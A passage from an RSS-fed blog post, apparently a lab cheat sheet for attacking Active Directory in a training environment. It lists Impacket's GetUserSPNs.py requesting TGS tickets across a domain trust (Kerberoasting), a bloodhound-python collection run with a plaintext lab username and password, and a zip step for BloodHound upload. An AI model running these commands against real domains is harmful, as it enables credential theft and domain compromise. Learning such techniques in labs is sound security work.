host.</blockquote><pre>`GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley`</pre><blockquote>Impacket tool used to request (`-request`) the TGS ticket of an account in a target Windows domain (`-target-domain`) from a Linux-based host.</blockquote><pre>`bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2`</pre><blockquote>Runs the Python implementation of `BloodHound` against a target Windows domain from a Linux-based host.</blockquote><pre>`zip -r ilfreight_bh.zip *.json`</pre><blockquote>Used to compress multiple files into 1 single `.zip` file to be uploaded into the BloodHound GUI.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94e0bb9bed2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>